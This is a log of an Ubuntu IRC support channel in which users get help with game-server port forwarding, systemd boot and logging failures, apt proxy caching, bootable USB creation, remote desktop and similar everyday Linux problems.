[00:04] <Worm_in_a_Box> Will it install or just boot
[00:04] <Worm_in_a_Box> I mean, the boot manager
[00:09] <Worm_in_a_Box> It went into sleep mode when loading the usb thingie
[00:09] <Worm_in_a_Box> That cant be good
[00:13] <adalbert> Q, what other drivers need to be installed after ubuntu on a macbook pro ? got zero wifi possibilities here :(
[00:16] <telunus> Well this is fun: a DNS lookup of github-cloud.s3.amazonaws.com in 8.8.8.8 or 8.8.4.4 gives me an IP address, but a DNS lookup with unspecified server (to use my defaults) gives no IP address.
[00:16] <acovrig> I have an ubuntu14.04 desktop thats doubling as a server - it has 7 brctl bridges and for some reason they all died yesterday and I can’t for the life of me get them working again - I can create a bridge w/a physical port, and ping a physical device, but a VM on that bridge can’t, any ideas?
[00:16] <telunus> But I've got 8.8.8.8 and 8.8.4.4 set as my DNS servers in network-manager
[00:16] <telunus> Any suggestions?
[00:19] <Worm_in_a_Box> I think that I will be able to get things done with the minimal lubuntu.
[00:29] <Worm_in_a_Box> I like that it fits a floppy.
[01:04] <PianoSkulls> any of you used Screenlets before?
[01:04] <PianoSkulls> desktop widgets
[01:05] <PianoSkulls> I'm trying to install ir on xubuntu dut it can't find the package
[01:06] <PianoSkulls> *it
[01:07] <catbeard> why is my display fuzzy after i type things
[01:08] <Worm_in_a_Box> Ok, so I installed lubuntu through the minimal install, but now when I try to boot, the box will automatically go into sleep mode.
[01:08] <Worm_in_a_Box> What to do?
[01:13] <guyFromWeb> hi, i am trying to run AssaultCube server from Ubuntu. I am new to Ubuntu, so I am having some trouble with that. I did portforward 2 ports that should be needed. I downloaded AssaultCube from official website, and I also did 'apt install assaultcube'. How would I be able to properly run the server? Reference: http://assault.cubers.net/docs/server.html
[01:14] <pos> local root exploit in gnu screen
[01:14] <k1l> guyFromWeb: loading with apt is enough. then start assaultcube-server as told before
[01:14] <pos> any package maintainers on it?
[01:14] <guyFromWeb> k1l: how could I configure the password if I just do assaultcube-server
[01:15] <k1l> guyFromWeb: i guess it wants a config file? or is it asking on first start?
[01:15] <guyFromWeb> 1 sec
[01:15] <guyFromWeb> so i can delete the downloaded file from official website?
[01:15] <k1l> yes
[01:15] <guyFromWeb> mkay
[01:16] <k1l> see http://manpages.ubuntu.com/manpages/wily/man6/assaultcube-server.6.html  for the options you want
[01:16] <k1l> pos: is there a cve?
[01:17] <root____1> Hello everybody!
[01:17] <guyFromWebUbuntu> this is me on Ubuntu
[01:18] <guyFromWebUbuntu> http://pastebin.com/nMMDEShA
[01:18] <guyFromWebUbuntu> this is what happens when i run the command
[01:19] <pos> k1l, https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
[01:19] <guyFromWebUbuntu> it reads from some files, but since i installed it through apt install, i got no idea where the files are saved
[01:19] <alecsandro> hello
[01:19] <k1l> guyFromWebUbuntu: the "man assaultcube-server" you need to specify some things
[01:20] <guyFromWebUbuntu> man assaultcube-server what????
[01:20] <k1l> guyFromWebUbuntu: look at http://manpages.ubuntu.com/manpages/wily/man6/assaultcube-server.6.html
[01:21] <guyFromWebUbuntu> oh so i specify it from the terminal, got it
[01:21] <pos> k1l, commit from 2015, unclear as to whether this affects stable
[01:21] <guyFromWebUbuntu> now why do i get the "WARNING: master server registration failed: failed pinging server" from both my laptops?
[01:22] <alecsandro> Someone can explain how I can run wine2.0 at Ubuntu 16.10?
[01:22] <k1l> pos: usually one requests a CVE for it and that is what the maintainer works with. but from that ML i read that the debian (and ubuntu) maintainer did request a cve so they might be on it
[01:25] <guyFromWebUbuntu> so why would i get that error?
[01:29] <guyFromWebUbuntu> k1l: where is the assaultcube saved bcz it was installed via apt install
[01:29] <k1l> guyFromWebUbuntu: for more specific help on that software better ask the assaultcube guys
[01:29] <huggybear404> hm , can a dvd drive in usb3 port crash a pc ? it seems to run fine if I move dvd drive to another port, can a usb2 device mess up a newer port ?
[01:29] <guyFromWebUbuntu> k1l: i think i got how it works now
[01:30] <guyFromWebUbuntu> i'll just ask some more ubuntu qquestions
[01:30] <guyFromWebUbuntu> where can i find the istalled software via apt-install?
[01:30] <k1l> guyFromWebUbuntu: in your users home directory?
[01:30] <yourname1> test
[01:31] <latitude> Trying to install minicom (sudo apt install minicom). I get an error about unmet dependencies for openjdk-9 -- how can I have it ignore this and still proceed with minicom?
[01:31] <guyFromWebUbuntu> it doesn't seem to be there k1l
[01:32] <underd0g1> latitude: i think you are going to need to install those dependecies first
[01:32] <k1l> guyFromWebUbuntu: what is the issue? just start the server with proper settings given
[01:32] <guyFromWebUbuntu> WARNING: master server registration failed: failed pinging server
[01:32] <guyFromWebUbuntu> is the issue :D
[01:32] <k1l> guyFromWebUbuntu: "assaultcube-server -x thi -P that -L something_else -k this
[01:33] <guyFromWebUbuntu> i did this before: sudo apt-get install libsdl1.2-dev libsdl1.2debian
[01:33] <guyFromWebUbuntu> and i am not sure if i should've
[01:33] <k1l> guyFromWebUbuntu: so either you are missing the proper settings on launching that game server or your netowork/router setup is not right
[01:33] <guyFromWebUbuntu> okay
[01:33] <guyFromWebUbuntu> how can i find this PC's ip?
[01:34] <guyFromWebUbuntu> so i can portforward i
[01:34] <guyFromWebUbuntu> *it
[01:34] <k1l> m(
[01:34] <k1l> you said you did that already.
[01:34] <yourname1> guyFromWebUbuntu: ifconfig
[01:35] <k1l> guyFromWebUbuntu: see "ifconfig" and then the connection typ in use.
[01:35] <guyFromWebUbuntu> k1l: i did it on my Mac and it gave me the same WARNING
[01:35] <k1l> or click on the network-manager icon in the systray and use "connection details"
[01:36] <k1l> guyFromWebUbuntu: it obviously will not work when you switch internal ips. since its routing that traffic to the other box on the ports
[01:36] <guyFromWebUbuntu> ifconfig did it
[01:36] <guyFromWebUbuntu> k1l: does that mean that i can only portforward one ip?
[01:37] <k1l> guyFromWebUbuntu: you can only forward ports to one ip-
[01:37] <k1l> like you only have one house with the adress. else the postman doesnt know to which house he needs to bring the post.
[01:38] <k1l> most guys you find on the net say its a router issue. so please make sure that works
[01:39] <guyFromWeb> k1l: i get it now
[01:39] <guyFromWeb> k1l: does this look good? http://prntscr.com/dzyuqf
[01:39] <k1l> http://wiki.cubers.net/action/view/Port_forwarding
[01:39] <k1l> i linked you that already
[01:40] <Worm_in_a_Box> There is no / in the keyboard.
[01:40] <Worm_in_a_Box> I just noticed.
[01:40] <Worm_in_a_Box> Life is pain.
[01:41] <underd0g1> Worm_in_a_Box: ?
[01:41] <k1l> guyFromWeb: still missing the internal ip. and make sure they get activated. see my link, it explains it what and why you need to do.
[01:41] <bau_cikiih> Worm_in_a_Box: ?
[01:41] <k1l> guyFromWeb: going afk now
[01:41] <Worm_in_a_Box> I set it wrong so now I can't "/" .
[01:42] <underd0g1> Worm_in_a_Box: ah
[01:42] <guyFromWeb> k1l: i just gid the internal ip :)
[01:42] <guyFromWeb> k1l: thanks for your help
[01:42] <Worm_in_a_Box> " Dependency failed for Swap."  That is a bad thing, right?
[01:43] <underd0g1> Worm_in_a_Box: yup
[01:44] <underd0g1> does anyone know how to get dzen2 and conky to work in ubnuntu
[01:46] <bazhang> underd0g1, conky , there's a great tutorial on ubuntuforums for exactly that
[01:46] <bazhang> !info dzen2
[01:46] <underd0g1> bazhang: thanks ill check it out
[01:47] <bazhang> dzen2 you can simply install from the repos
[01:47] <Phoenixz> So I upgraded a server from 14.04 to 16.04, and it suddenly won't boot anymore. Dropping to rescue mode I get into a root shell.. I can  get the network up, ping that machine, but I cannot get SSH to start, for example, and to make things even better, systemd (damn you!!!) appears to be logging... well, nothing.. So SSH restart hangs, isn't logging anything.. mysql isn't starting and logging anything either, so now I'm stuck.. How can I
[01:47] <Phoenixz>  figure out what is going on here?
[01:47] <jaakkos> Is anyone else using bonding and VLANs in /etc/network/interfaces? on Ubuntu Server 16.04, default gateway sometimes gets set, sometimes not. almost 50/50 chance.
[01:48] <underd0g1> bazhang: i have both installed just confused how to get them to work together. do you have to pipe it or something
[01:48] <Phoenixz> To make things better, this is one out of 20 servers... I've upgraded 10, no problem, but then 11 gave me this and won't start mysql because of some app armor issue..
[01:48] <bazhang> underd0g1, is dzen2 a messaging system for the entire net, just a lan or what
[01:49] <underd0g1> bazhang: just local i believe
[01:49] <Phoenixz> When I try to restart SSH, I get "ordering cycle found skipping journaling service" what does that even mean? I imagine that logging is no longer working??
[01:50] <Random832> it means systemd sucks
[01:51] <underd0g1> bazhang: in my case it serves almost the same purpose as conky except it is better looking
[01:52] <bazhang> Random832, thats not helpful at all
[01:52] <Random832> http://unix.stackexchange.com/questions/193714/generic-methodology-to-debug-ordering-cycles-in-systemd may be useful
[01:52] <sad_bios> bazheng, !!!
[01:52] <Random832> bazhang, neither is systemd :P
[01:52] <Phoenixz> Random832: I don't need you to tell me that, systemd already told me that long time ago.. Any helpful ideas, perhaps?
[01:53] <Phoenixz> Random832: thanks, lemme check that
[02:00] <Worm_in_a_Box> Ubuntu 7 installed fine, lubuntu 16.1 is a mess.
[02:00] <conley> hey guys
[02:00] <conley> i'm getting "Access denied for user ____ by PAM account configuration [preauth]"
[02:01] <conley> i have pam_ldap set up, that's an ldap user
[02:01] <conley> seems to be verifying the password fine, so that isn't it i don't reckon
[02:02] <Phoenixz> Does anybody knows if systemd has some "not-retarded" logging option where it will actually either log the problem, or print it on screen? Because so far its just...... See nothing, hear nothing, talk nothing..
[02:02] <conley> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[02:03] <Phoenixz> god this systemd is *so* frustrating... Why is the entire logging system broken!?!?!?!?
[02:03] <conley> setting up ldap authentication has to be the most frustrating thing I've ever done in computing, simply because of how shitty the loging is
[02:03] <bazhang> Phoenixz, that is not necessary nor welcome here
[02:04] <bazhang> Phoenixz, the cursing and the extra punctuation
[02:04] <conley> apologies
[02:04] <Phoenixz> bazhang: It is a fact though that systemd logging system is heavily broken
[02:04] <Phoenixz> bazhang: what cursing?
[02:05] <guyFromWebUbuntu> if anyone can help me with this warning (trying to run AssaultCube server),  appreciate it. http://pastebin.com/nMMDEShA
[02:05] <Phoenixz> bazhang: Since ubuntu made the choice of making the very core (after the linux kernel) of their system systemd, I think for all the server down issues I have now that I deserved two ascii characters...
[02:06] <Phoenixz> bazhang: that, and I'm not cursing, I'm just extremely frustrated with a completely broken system I was forced to upgrade into
[02:07] <bazhang> Phoenixz, this is simply not the anti systemd rant channel
[02:07] <kk4ewt> Phoenixz,  then i highly suggest you do some research
[02:10] <Phoenixz> bazhang: Oh I might be ranting, but not without reason. And I'm not anti systemd, I"m a sysadmin who was forced to upgrade from something stable into something so unhinged that I cannot imagine what they were thinking when they decided to use this. This has nothing to do with research. Any linux system down, until now, I could fix in no time with checking logs... Systemd. is. currently. not. logging. If that for you does not deserve the
[02:10] <Phoenixz>  label "retarded", then please do let me know what politically correct label I can put on a system that just stops telling you antyhing at all
[02:12] <bazhang> I wont ask again Phoenixz
[02:13] <Phoenixz> bazhang: yes, I got the message, I will be politically correct from now on and try not to critizise any popular systems, wheather they are bad or not..
[02:13] <conley> L
[02:14] <bazhang> conley, save the commentary for elsewhere
[02:18] <guyFromWebUbuntu> if anyone can help me with this warning (trying to run AssaultCube server),  appreciate it. http://pastebin.com/nMMDEShA
[02:20] <BlueProtoman> How can I get the name of the Wi-fi access point I'm using?
[02:21] <underd0g1> BlueProtoman: ifconfig
[02:21] <BlueProtoman> underd0g1: Thanks!
[02:22] <jaakkos> doh... no default at boot seems to be common issue for many people using interface bonding + VLANs in Ubuntu 16... wasn't a problem in 14.
[02:22] <jaakkos> *default route
[02:23] <underd0g1> BlueProtoman: or iwconfig for the essid
[02:27] <LIKA> hi
[02:27] <LIKA> hi
[02:28] <underd0g1> LIKA: hi
[02:29] <LIKA>  how are you doing
[02:43] <itsspodey> hey does anyone have any experience setting up broadcom wireless drivers?
[02:43] <guyFromWebUbuntu> if anyone can help me with this warning (trying to run AssaultCube server),  appreciate it. http://pastebin.com/nMMDEShA
[02:43] <guyFromWebUbuntu> it MAY have something to do with firewall
[02:43] <guyFromWebUbuntu> i am guessing Ubuntu has a firewall
[02:44] <guyFromWebUbuntu> is there a way to allow the command 'assaultcube-server'?
[02:44] <sabrehagen> hi, uname -r reports my kernel is 4.4.0 but i can't find 4.4.0 in this list: http://kernel.ubuntu.com/~kernel-ppa/mainline/
[02:44] <sabrehagen> what am i doing wrong?
[02:48] <wedgie> guyFromWebUbuntu: the error message makes it sound like it failed to access ms.cubers.net
[02:53] <guyFromWebUbuntu> wedgie: what can i do about it? xD
[02:53] <Bashing-om> !info linux-image-generic | sabrehagen
[02:53] <Bashing-om> !info linux-image-generic xenial | sabrehagen
[02:53] <sabrehagen> right
[02:54] <sabrehagen> am i not reading the version correctly then?
[02:54] <wedgie> guyFromWebUbuntu: well, in looking at their docs, have you forwarded the ports it needs in your router?
[02:55] <guyFromWebUbuntu> wedgie: yea
[02:55] <Bashing-om> sabrehagen: Not all kernels are available - in my experience. do not ask me why as I just do not know .. maybe just to many . The released kernels are in the repo .
[02:59] <Bashing-om> sabrehagen: Should see " sysop@x1604:~$ uname -r >> 4.4.0-59-generic " on a 16.04 updated system .
[03:12] <william_> hi
[03:12] <ShapeShifter499> hi
[03:13] <ShapeShifter499> I chrooted a ubuntu install using        sudo debootstrap --variant=buildd --arch=amd64 xenial /var/chroot/ubuntu-16.04 http://us.archive.ubuntu.com/ubuntu/
[03:13] <ShapeShifter499> I'm now getting this 'apt' warning I've never seen before.     W: No sandbox user '_apt' on the system, can not drop privileges
[03:14] <ShapeShifter499> should I be concerned?
[03:15] <william_> hmmm
[03:18] <william_> @shapeshifter499 computer?>
[03:19] <ShapeShifter499> william_: what do you mean?
[03:20] <ShapeShifter499> Lenovo Y40-80 Laptop running Arch Linux 64 bit.
[03:21] <william_> ok. just checking. When do you see the apt warning?
[03:21] <ShapeShifter499> william_: right after I ran 'apt-get install aptitude'
[03:25] <ShapeShifter499> william_: is _apt as a user a new security measure I missed?
[03:26] <wedgie> ShapeShifter499: i do indeed have an _apt user on my 16.04 machine
[03:26] <ShapeShifter499> sudo schroot -c chroot:ubuntu-16.04 -u root
[03:26] <ShapeShifter499> that's how I'm loading this chroot
[03:26] <ShapeShifter499> hmm
[03:27] <ShapeShifter499> I'm not going to have _apt on my arch linux system, is it safe to ignore?
[03:27] <wedgie> _apt:x:105:65534::/nonexistent:/bin/false
[03:27] <loganlee> thats password file
[03:27] <wedgie> there's the UIDs and such it's expecting, if you wanted to try adding it
[03:28] <loganlee> you need shadow file too
[03:29] <ShapeShifter499> hmm
[03:29] <wedgie> (as for it being safe to ignore, i have no idea)
[03:30] <ShapeShifter499> OH
[03:30] <ShapeShifter499> Now I remember, I was using systemd-nspawn before
[03:31]  * ShapeShifter499 facepalms and slams head to desk
[03:37] <william_> ^ouch.
[03:40] <theCow61> hi
[03:40] <theCow61> well bye
[03:41] <william_> not sure if ill find an answer here. What is a good DAW to use for Ubuntu 14? Also.. is there any successful installations of Reason 9 on this system? AND.. is there a different program besides wine?
[03:45] <_28Kb> hi, i just edited xorg.conf to set up displays... beside stopping an starting lightdm should i do dkpg-reconfigure xserver-xorg?
[03:45] <Alopex> all. Got a headscratcher of a problem & haven't been able to dig up anything online that might point towards a solution that I haven't already tried. Long story short. I'm running a simple Ubuntu Server 16.04 instance on Azure, which is host to a webmin cluster, zabbix server, OpenVPN server and a couple of other handy tools for monitoring my other
[03:45] <Alopex>  systems. Unfortunately, there seems to be something wrong with the network configuration (i had made several adjustments when setting the system up to prevent loopback via the vpn tunnel interface, as VPN clients in this system should not see each other, only the server) and eveything ran fine for about a month. Going about a routine update yester
[03:45] <Alopex> day, I rebooted the server and now the network interfaces fail to come up at all. Unable to SSH into the system, nothing coming or going on the primary network interface. As you can probably imagine. It's been a fun time. I've now got the drive of that VM attached to another working Ubuntu server instance in the cloud so that I can make any require
[03:45] <Alopex> d changes to get it rolling again, however it appears that resetting UFW, clearing out the iptable rules and checking the network interface parameters hasn't done me any good yet after several attempts. I have a sample of the loop that the system seems to get stuck in from the boot log, incase that is of any help in perhaps diagnosing the source of
[03:45] <Alopex>  the problem. I'll paste a few lines of it below. Sorry for the wall of text and I hope that this isn't too spammy. Thanks ahead of time for any advice.
[03:46] <Alopex> https://thepasteb.in/p/66hVjwnE91JiW
[03:53] <william_> sounds like a serious head scratch sir
[03:55] <Alopex> sure is. haha
[03:55] <linux_user> Can someone tell me, if I am running Ubuntu GNOME 16.04, how do I assure that the search is not going out to the Internet the way Dr. Stallman says Ubuntu does?
[03:56] <ShapeShifter499> william_: wine?   it's all there is if you want to run windows stuff as natively as possible
[03:56] <cfhowlett> linux_user, privacy settings
[03:57] <ShapeShifter499> william_: maybe try playonlinux for some help
[03:58] <ShapeShifter499> some windows apps I like only run with older wine version, but some only run with the latest so playonlinux is good for me to manage all the versions
[04:03] <william_> I was looking into crossover.. seems to be a nice little chunk of change .. but I have been using wine. Having issues getting reason installed on my system.
[04:03] <william_> also run dual boot with 14 and 16
[04:04] <Wixy> Hi all! GParted failed to move a partition and now the data is gone!
[04:05] <Wixy> Actually it should be there because obviously I didn't delete it. but I can't mount the partition
[04:06] <cfhowlett> Wixy, to *possibly* recover data, read this in your irc terminal: /msg ubottu recover
[04:06] <Wixy> mount: wrong fs type, bad option, bad superblock on /dev/sda8, missing codepage or helper program, or other error
[04:06] <Wixy> this is the error ^
[04:07] <Wixy> dmesg says this:
[04:07] <Wixy> [  492.990921] EXT4-fs error (device sda8): ext4_iget:4139: inode #8: comm mount: bad extra_isize (14544 != 256)
[04:07] <Wixy> [  493.001530] EXT4-fs (sda8): no journal found
[04:08] <ShapeShifter499> william_: music software?
[04:11] <william_> yes
[04:15] <william_> <Transitbot
[04:16] <william_> working on bettering my production and being serious thing year ;)
[04:17] <PianoSkulls> hey
[04:18] <PianoSkulls> how do i mount my bitlocker ecternal hard drive to linux?
[04:18] <PianoSkulls> i know i should use dislocker
[04:18] <linux_user> cfhowlett: I am running Ubuntu GNOME, and in the privacy (under Settings) I see no such option.
[04:18] <PianoSkulls> but i can't find a good tutorial
[04:19]  * linux_user cfhowlett: I clicked the screwdriver and wrench and then within settings clicked privacy
[04:20] <linux_user> Am I missing something?
[04:20] <cfhowlett> linux_user, I'm on xubuntu, so, like you, no unity lens.  problem solved.  beyond that, depending on your level of paranoia, enable your firewall and dive into your firefox settings.
[04:21] <linux_user> Ah, so its not an Ubuntu distribution issue so much as a unity issue, okay, got it!
[04:22] <PianoSkulls> cfhowlett: i love xubuntu
[04:22] <ShapeShifter499> linux_user: oh that fiasco, yea all limited to Unity
[04:22] <cfhowlett> linux_user, read /msg ubottu adlens
[04:23] <ShapeShifter499> lots off people freaked out, rightly so. But it wasn't as bad as previously though
[04:23] <ShapeShifter499> *thought
[04:23] <snkcld> when it comes to the ubuntu kernel configuration, who decides what is built-in or what is a module?
[04:23] <ShapeShifter499> *of
[04:23] <snkcld> and also, what factors are involved when deciding that?
[04:23] <ShapeShifter499> bleh typos
[04:27] <linux_user> Next question: I am very lost as to all the software that is involved in audio for Linux and plan to purchase a USB MIDI Keyboard; I was told to run JackD and get rid of pulse audio, but several people not to do that as PulseAudio is critical to Linux. Where can I find a document explaining all this that I can read and learn from? Or a youtube video!
[04:27] <linux_user> Again, I run Ubuntu GNOME, is that even true for my distribution and flavor?
[04:28] <Wixy> I just asked about a partition I couldn't mount after GParted failed to move it. Now I can mount it and gparted shows the real used memory, but I don't see the files inside it. Also I can't create new files, it was mounted in read only mode it seems. What can I do?
[04:28] <Wixy> fstab says this: /dev/sda8 on /media/data type ext4 (rw,nosuid,nodev,relatime,data=ordered,uhelper=udisks2)
[04:30] <lotuspsychje> !kernel | snkcld
[04:31] <ohnx> snkcld: you can also look at making a linux distro from scratch, if you have the time :p
[04:31] <snkcld> lotuspsychje: i have no intention to compile my own ubuntu kernel.
[04:31] <lotuspsychje> snkcld: every new kernel comes out, previous bugs will get solved, new features invented
[04:32] <snkcld> lotuspsychje: yes, i am aware of that fact
[04:32] <snkcld> specifically, in the -generic ubuntu package kernel though,  what factors are involved when deciding to make a configuration =Y or =M?
[04:36] <lotuspsychje> snkcld: perhaps a question for #ubuntu-devel ?
[04:40] <linux_user> Next question: I am very lost as to all the software that is involved in audio for Linux and plan to purchase a USB MIDI Keyboard; I was told to run JackD and get rid of pulse audio, but several people not to do that as PulseAudio is critical to Linux. Where can I find a document explaining all this that I can read and learn from? Or a youtube video! Is that even true for Linux GNOME?
[04:40] <cfhowlett> do not drop pulseaudio! linux_user
[04:40] <linux_user> Why? If JackD does the same thing?
[04:41] <cfhowlett> linux_user, #opensourcemusicians is the go to channel.  and jackd is NOT the same thing
[04:41] <linux_user> ok, I will check it out!
[04:41] <cfhowlett> also drop by #ubuntustudio and the Facebook, G+ and Twitter
[04:41] <unknowed> hi ; i have installed vbox in my ubuntu-desktop and have tried to drag&drop files from a ubuntu 16.04 (host) to a kali 2016.2 (guest); and i could not perform the drag&drop action...
[04:42] <cfhowlett> unknowed, install guest additions?
[04:42] <linux_user> I installed VMware
[04:42] <unknowed> i have already installed
[04:42] <linux_user> (as opposed to VirtualBox guest additions)
[04:42] <cfhowlett> unknowed, DID you install the guest additions?
[04:42] <unknowed> guest adittions is installed
[04:42] <unknowed> yes
[04:42] <unknowed> i did
[04:43] <cfhowlett> unknowed, go to the VM settings and enable the shared folders
[04:44] <unknowed> i do not want to share folders
[04:45] <unknowed> i want to drag&drop files
[04:45] <unknowed> from my host to my guest
[04:45] <unknowed> that is possible? i suppose...
[04:45] <unknowed> the shared clipboard feature works fine
[04:46] <unknowed> i mean... i can copy text (just text) from my host to guest and bisceversa
[04:46] <cfhowlett> unknowed, see Third Noote: https://www.virtualbox.org/wiki/DnDDebug
[04:47] <linux_user> Hey that kernel compile page is only good up to 13.04!?! Is there a page for like 16.04?
[04:47] <linux_user> or 16.10?
[04:48] <linux_user> cfhowlett: opensourcemusicians is a dead channel - not one person replied to me there.
[04:48] <unknowed> cfhowlett: thanks; but i have already done
[04:49] <unknowed> cfhowlett: and nothing... just appear that everything is fine in my log file
[04:51] <unknowed> i just want to know if is possible to perform the action in vbox 5.1.14
[04:58] <nullsign> hrm..
[05:10] <dee> dee
[05:20] <renug_li> hello all
[05:22] <PipeItToDevNull> Hello
[05:38] <makitoro> Wondering if anyone knows of a working apt-cache proxy caching solution that works with 16.04? I have tried apt-cacher-ng , apt-cacher, and squid-deb-proxy.   apt-cacher-ng will not work with systemd, confirmed bugs already filed. apt-cacher works partially but fails on half the packages with a 502 error and randomly at that. squid-deb-proxy also will not work with systemd.
[05:41] <wedgie> makitoro: what problems do you have with apt-cacher-ng? I use it for all of the debian 8 servers at work, and thos have systemd
[05:43] <makitoro> It flat out refuses to run the service with systemd, confirmed bug both on Ubuntu 16.04 and on Debian. https://bugs.launchpad.net/ubuntu/+source/apt-cacher-ng/+bug/1512780  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=772489
[05:45] <wedgie> interesting. There does seem to be a workaround in the bug listing, though
[05:45] <wedgie> have you tried that?
[05:46] <makitoro> you mean the part about app armor?
[05:47] <wedgie> nah, the second comment about fixing user and group ownership of the log file
[05:51] <makitoro> that was the first thing I tried, tried setting various levels of openenes but systemd refused to start the service
[05:52] <makitoro> doing a fresh install now will try it again
[05:53] <wedgie> should just be ''sudo chown apt-cacher-ng:apt-cacher-ng /var/log/apt-cacher-ng'' if i'm understanding that post correctly
[05:55] <makitoro> that  i already did, made no effect to the systemd fail promts
[05:55] <makitoro> prompts*
[05:57] <makitoro> i tried various user:group combinations, all forms of rwx permissions, nothing changed. Both when installing it and when manually running it " the Job for apt-cacher-ng.service failed because the control process exited with error code. See "systemctl status apt-cacher-ng.service" and "journalctl -xe" for details." would be the result.
[05:58] <wedgie> i'm installing a vm real quick to see if i get the same thing. Might get called away to dinner before it finishes though
[05:59] <wedgie> oh good, the desktop installer is going ahead and downloading stuff even though that box was unchecked. That's nice.
[06:01] <makitoro> file a bug :P
[06:02] <wedgie> meh, just thought i'd save time by using the ISO i had on hand... Guess that was foolish
[06:04] <makitoro> I think (based on post on askubuntu) the desktop installer downloads security updates and has them ready to install at first boot even if you unselect updates while installing. not 100% sure on accuracy of that, read it in passing.
[06:04] <wedgie> would you hate me if i told you that the only command i have run on this vm was ''sudo apt-get update && sudo apt-get install apt-cacher-ng'' and it worked? Ubuntu 16.04, desktop edition
[06:05] <wedgie> haven't really tested it, but it is now listening on port 3142
[06:06] <wedgie> anyway, gotta run. Hopefully you get it sorted out
[06:06] <makitoro> thanks...will give it another run
[06:18] <Kartagis> ehlo
[06:19] <Kartagis> I'm looking for a media player that I can go past the dvd menu with
[06:19] <Kartagis> vlc didn't
[06:19] <cfhowlett> Kartagis, if vlc fails you might be out of luck.
[06:19] <cfhowlett> search the software center and make sure you have installed restricted extras
[06:22] <memo_> hello
[06:22] <makitoro> hello
[06:23] <makitoro> what kind of DVD?
[06:23] <memo_> i just downloaded mate and put it on my laptop. pretty fun.
[06:25] <makitoro> kartagis i sent you a PM. you need the following libraries for DVD decoding ( sudo apt-get install) libdvdcss libdvdread4 libdvdnav4
[06:26] <cfhowlett> are those not/no longer included in restricted extras makitoro?
[06:31] <makitoro> full complete legal answer https://help.ubuntu.com/stable/ubuntu-help/video-dvd-restricted.html
[06:32] <Kartagis> makitoro: thanks
[06:32] <reepca> Arg, I'm having trouble getting a mysql install into a working configuration. I followed the steps in the top answer here (http://stackoverflow.com/questions/10853004/removing-mysql-5-5-completely#16178696) to get rid of the existing install, but now when I try reinstalling mysql-server I get "ERROR: Unable to start MySQL server:" and on the next line "mysqld: Can't read dir of '/etc/mysql/conf.d/' (Errcode: 2 - No such file or
[06:32] <reepca> directory)". Why isn't it setting up that directory?
[06:33] <makitoro> Kartagis , if you cant find those packages with apt-get or with a GUI package installer, look for " xubuntu-restricted-extras "
[06:34] <makitoro> sorry "ubuntu-restricted-extras"
[06:48] <elisa87> if I have the IP address of my Windows machine, how can I have GUI access to it using Ubuntu 14.04?
[06:48] <cfhowlett> you mean a windows gui from ubuntu?
[06:49] <elisa87> cfhowlett: I assume
[06:50] <cfhowlett> elisa87, 1.  ask the #ubuntu-server channel  2.  I believe you will need samba to make the connection - or is it an ssh thing?  3.  vinagre?  or some other remote desktop sharing solution
[06:53] <wafflejock> !info remmina | elisa87
[06:54] <wafflejock> elisa87, that should work as a remote desktop client from ubuntu, can, sudo apt install remmina
[06:55] <fletom> so I'm trying to install ubuntu-16.04.1-server-i386 on an ancient acer aspire one netbook - it seems to boot, but what I get is "Welcome to GRUB!" for ~30 seconds, and then a black screen with a single blinking underscore indefinitely. any ideas what to try?
[06:57] <EriC^^> !nomodeset | fletom
[07:04] <lotuspsychje> fletom: perhaps lubuntu will also like the ancient laptop, worth a try
[07:04] <cfhowlett> server should run on an ancient box, shouldn't it??
[07:04] <elisa87> wafflejock: should I install remmina on windows machine too?
[07:05] <fletom> lotuspsychje: I'm installing ubuntu server though - shouldn't need lubuntu right?
[07:05] <cfhowlett> fletom, that was my thought as well.  did you do the nomodeset option?
[07:05] <lotuspsychje> fletom: im just widening your options :p
[07:06] <fletom> started getting a different issue with a unetbootin 10 second "automatic boot" loop, so haven't tried nomodeset yet
[07:07] <lotuspsychje> fletom: sounds like a broken unetbootin iso, tried making it with ubuntu?
[07:07] <wafflejock> elisa87, no it's just a client for RDP you'd have to enable remote desktop access on Windows think that's only available in the pro version with certain windows versions
[07:07] <fletom> lotuspsychje: I'm making it on macOS from the ubuntu-16.04.1-server-i386.iso torrent
[07:08] <elisa87> I have windows 10 home edition, how can I access windows in a GUI fashion from Ubuntu?
[07:08] <elisa87> wafflejock:
[07:08] <wafflejock> elisa87, if you don't have that think you'd probably want to go with vncserver of some sort on the windows machine and a VNC client on the ubuntu machine but personal opinion is RDP is usually better
[07:08] <fletom> I'd prefer making it from ubuntu, but I don't have ubuntu yet, which is why I'm trying to install it :p
[07:08] <lotuspsychje> fletom: unetbootin gives some broken iso's in some cases with that blinking cursor.. i would test another iso burn method
[07:10] <lotuspsychje> fletom: also make sure your bios/uefi is setup correctly, blinking cursors on wrong fastboot/secureboot also
[07:10] <fletom> okay thanks for the lovely help I'll try these tips and report back
[07:13] <alkisg> fletom: the installer functioned fine? and the problem is only after installation?
[07:13] <fletom> alkisg: nope this was before getting to any ubuntu install screen. burning the usb and was booting from it
[07:14] <alkisg> fletom: ah, then it's probably due to the bad unetbootin, try rufus or dd
[07:15] <fletom> ok will definitely try that. strange that unetbootin is the official ubuntu recommendation if there're so many problems with it
[07:16] <alkisg> elisa87: install "remmina" or "xfreerdp" or "vncviewer"
[07:17] <alkisg> fletom: it says "rufus" there: https://www.ubuntu.com/download/desktop/create-a-usb-stick-on-windows
[07:17] <makitoro> I have used DD and unetbootin in the last week, both failed to make a working Ubuntu 16.04  USB and Centos 7 US.  usb-creator-gtk worked
[07:17] <alkisg> Not unetbootin
[07:17] <alkisg> makitoro: i seriously doubt that dd didn't make a bootable usb
[07:17] <alkisg> Maybe you had partitions mounted while dd'ing?
[07:18] <lotuspsychje> !usb
[07:18] <makitoro> it made a perfect write for both Ubuntu and Centos, key wasn't bootable
[07:19] <alkisg> I don't know about centos, but ubuntu 16.04 usb sticks with dd are perfectly bootable, so you must have done something wrong
[07:19] <alkisg> Been that way for ages...
[07:19] <fletom> alkisg: doing it from a mac though, so it says unetbootin here: https://www.ubuntu.com/download/desktop/create-a-usb-stick-on-macos
[07:20] <alkisg> fletom: if you have a mac, it's much safer to run dd... :)
[07:20] <alkisg> It's a good point though, to have them remove that recommendation
[07:22] <totonne98> sono totonne98
[07:23] <RICHARD> manda
[07:31] <jdm> Is there a guide anywhere for installing phpbb 3.2 in ubuntu 16.04?
[07:31] <jdm> cant seem to find one and their documentation is so vague it's useless
[07:33] <zhouwe> join
